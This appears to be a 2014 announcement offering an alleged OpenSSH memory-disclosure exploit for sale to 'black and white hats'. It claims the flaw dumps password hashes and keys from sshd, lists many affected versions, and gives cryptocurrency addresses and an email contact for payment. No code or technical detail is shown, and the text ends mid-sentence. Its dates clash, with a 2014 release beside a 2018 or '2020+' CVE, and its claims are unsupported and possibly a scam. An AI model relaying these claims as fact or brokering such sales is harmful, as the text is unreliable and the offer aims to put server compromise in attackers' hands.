u mad Heartbleed ? ...

====

Release date: 04/30/2014

Product: OpenSSH

Vendor: http://www.openssh.com/

CVE candidate number: CVE-2018-XXXX (maybe 2020+...)

====

We found two years ago a memory disclosure vulnerability in the OpenSSH server

which allows to remotely extract data from the sshd server's children processes

memory zones.

This vulnerability exploits a bad check on the network layer of the sshd server

that we trigger to retrieve all children processes memory sections thereby

allowing us to dump:

- system users hashes

- keys

- many random things ;)

This exploit was tested on:

- SSH-2.0-OpenSSH_5.1p1 Debian-5

- SSH-2.0-OpenSSH_5.1p1 DragonFly-20080927

- SSH-2.0-OpenSSH_5.2p1 FreeBSD-20090522

- SSH-2.0-OpenSSH_5.5p1 Debian-6+squeeze3

- SSH-2.0-OpenSSH_5.8p1 Debian-7ubuntu1

- SSH-2.0-OpenSSH_6.1p1 Debian-4

- SSH-2.0-OpenSSH_6.2p2-hpn13v14 FreeBSD-openssh-portable-6.2.p2_3,1

- SSH-2.0-OpenSSH_6.4p1 Debian-1~bpo70+1

- SSH-2.0-OpenSSH_6.4p1 FreeBSD-openssh-portable-6.4.p1,1

- SSH-2.0-OpenSSH_6.5p1 CentOS RHEL

- SSH-2.0-OpenSSH_6.6p1 Ubuntu-2ubuntu1

- ... many more

Enough bullshit, POC TIME !

Since we detected few exploitations tentatives of this vulnerability through

our honeypots network, we concluded that an other team / organization

discovered it and decided to sell it.

(Yes, we build honeypots rules for our exploits)

We don't have access to exploit black markets and we are now happy to offering

it for sale to you both black and white hats.

== How to buy ==

Send 66666.6 BC (Blackcoin) to BLkrmaoY7XQfUUCSCJfHGq8tTig5qJmZXT

or

2000000 WC (Whitecoin) to Wbi8SqBjymeedtNwM9zhaSm3bMnZvgifR2

or

20 BTC (Bitcoin) to 14PEL35LQf81oCvSPurhoyTSvosvtQT7u3

then send your transaction ID by mail to olckrrii3@openmailbox.org and we will

send you the download link and password. (PGP recommended)

icanhaze.c sha1:d7faeb46f10ea6b7058a116043c1f0ce7a158c7f

Please note that we are busy and we will NOT answer to questions, social

engineering tentatives or dumb comments. Price is non-negotiable.

Some teraoctets of custom pintools and ASAN traces give us many other

vulnerabities to dig and work to do, see you soon for some news about :
